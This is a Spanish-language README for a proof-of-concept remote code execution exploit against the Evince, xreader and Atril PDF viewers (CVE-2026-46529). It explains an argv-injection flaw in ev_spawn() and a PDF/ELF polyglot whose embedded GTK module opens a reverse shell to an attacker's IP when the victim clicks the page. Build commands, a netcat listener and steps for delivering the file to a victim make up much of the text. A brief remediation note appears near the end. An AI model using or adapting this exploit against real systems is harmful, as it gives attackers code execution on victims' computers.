
Exploit de RCE para Evince/xreader/Atril dirigido a CVE-2026-46529
Prueba de concepto funcional para la inyección de argv en ev_spawn() (shell/ev-application.c). Un solo clic en cualquier lugar de la página renderizada de un PDF manipulado desencadena la ejecución arbitraria de código como el usuario que ejecuta el visor.
Esta versión utiliza la técnica de sustitución %f: el visor descubre por sí mismo la ruta de destino de dlopen en tiempo de ejecución, por lo que el atacante no necesita saber dónde cae el polyglot en el sistema de archivos de la víctima (ni el nombre de usuario, ni $HOME, ni el directorio de descargas).
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| Archivo | Propósito |
|---|---|
exploit.sh | Script envolvente de un solo uso: compila y construye el polyglot en un solo comando. |
evil_gtk_module.c | Código fuente de la carga útil. El constructor abre una reverse shell y deja un marcador en /tmp/PWNED_atril_<pid>.txt. |
build_polyglot.py | Constructor del polyglot. Combina un evil.so compilado con un cuerpo PDF mínimo que contiene la acción /GoToR y el contrabando de %f. |
Debes compilar en un host Linux que coincida con la arquitectura de la víctima. evil_gtk_module.c es portátil entre arquitecturas; el ELF resultante es específico de la arquitectura. macOS no puede producir el .so porque el enlazador de Apple no acepta los flags de GNU build-id.
ev_spawn() construye la línea de comandos de spawn interpolando las cadenas /D (destino nombrado) y /F (especificación de archivo) del PDF sin g_shell_quote. El resultado se vuelve a analizar en argv mediante g_app_info_create_from_commandline → g_shell_parse_argv. Al manipular /D con un espacio inicial y --gtk-module=..., el visor hijo generado recibe --gtk-module= como un elemento argv independiente, que gtk_init() honra a través de g_module_open() (es decir, dlopen). Cualquier constructor en el ELF cargado se ejecuta como la víctima.
El polyglot es un único archivo que es a la vez un PDF válido y una biblioteca compartida ELF válida: el marcador %PDF-1.4 se incrusta dentro de la ranura SHA1 de .note.gnu.build-id (offset 0x1d8), que poppler acepta porque escanea los primeros 1024 bytes en busca de la magia y ld.so lo acepta porque el contenido del build-id es meramente informativo.
El truco de %f (de esta versión) cierra la última pieza. En lugar de codificar la ruta del polyglot dentro del PDF, incrustamos el marcador de posición %f de glib. g_app_info_launch_uris de glib sustituye %f por la forma de ruta local de la URI que atril resolvió en tiempo de ejecución mediante g_path_get_dirname(source_uri) + /F.basename. El argv del hijo generado termina conteniendo --gtk-module=<ruta-real-en-tiempo-de-ejecución>, dlopen tiene éxito, RCE.
/F se establece como <basename>?1 en lugar de solo <basename> porque ev_application_open_uri_at_dest() hace un cortocircuito y solo navega (en lugar de generar un proceso) cuando la URI /F resuelta es igual a la URI de origen. La cadena de consulta final hace que la URI sea distinta; g_filename_from_uri de glib la elimina al construir %f.
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
Salida: report.pdf con el objetivo de reverse shell incrustado. Despliégalo en la víctima con el mismo nombre base (cualquier directorio), inicia un listener, haz que lo abran en atril y hagan clic en cualquier lugar de la página.
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
El nombre base incrustado en /F se deriva del nombre del archivo de salida, por lo que el polyglot espera ser desplegado como report.pdf. El directorio no importa: atril resuelve la ruta completa en tiempo de ejecución mediante la sustitución %f. La anotación Link cubre todo el MediaBox, por lo que cualquier clic dispara la acción. También se escribe un archivo marcador en /tmp/PWNED_atril_<pid>.txt.
exploit.sh-o, --output FILE Output PDF path (default: polyglot.pdf)
--ip IP Reverse shell target IP (default: 127.0.0.1)
--port PORT Reverse shell target port (default: 9000)
--cc COMPILER C compiler (default: gcc, env: CC)
--keep-so Don't delete evil.so after build
-h, --help Show usage
Ejemplo de compilación cruzada (construir un polyglot aarch64 en un host x86_64):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh)Si quieres control total sobre cada paso:
Compila evil.so con tu IP/puerto.
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
Construye el polyglot.
python3 build_polyglot.py evil.so <output.pdf>
El nombre base incrustado en /F se deriva del nombre del archivo de salida. Despliega el polyglot en la víctima con el mismo nombre base: el directorio no importa, atril lo resuelve en tiempo de ejecución.
Confirmado:
El código vulnerable (ev_spawn y la ruta de apertura /GoToR) es compartido por los tres. evince upstream tiene el mismo bug; la única diferencia en las compilaciones más recientes de evince es que GTK4 eliminó el flag de línea de comandos --gtk-module=, lo que cierra este sink específico de dlopen. Las compilaciones de evince contra GTK3 (la mayoría de las distros LTS en el momento de escribir esto) siguen siendo vulnerables.
El bug existe desde principios de la década de 2010, cuando se escribió la construcción de la línea de comandos de ev_spawn. La solución es sencilla: envolver cada componente controlado por el atacante en g_shell_quote antes de g_string_append_printf, o pasar argv como una lista a g_spawn_async (evitando por completo el ida y vuelta del análisis del shell).
Preservación del nombre de archivo. El nombre base incrustado en /F debe coincidir con el nombre que el polyglot tiene en el disco de la víctima en el momento del disparo. Si la víctima renombra el archivo antes de abrirlo, atril resuelve /F a una ruta inexistente y dlopen falla.
GTK4. Las compilaciones más recientes de evince contra GTK4 eliminaron el flag de línea de comandos --gtk-module=, lo que cierra este sink específico de dlopen. La inyección de argv en sí sigue presente: solo esta ruta de explotación particular está mitigada por GTK4.
J.Medeiros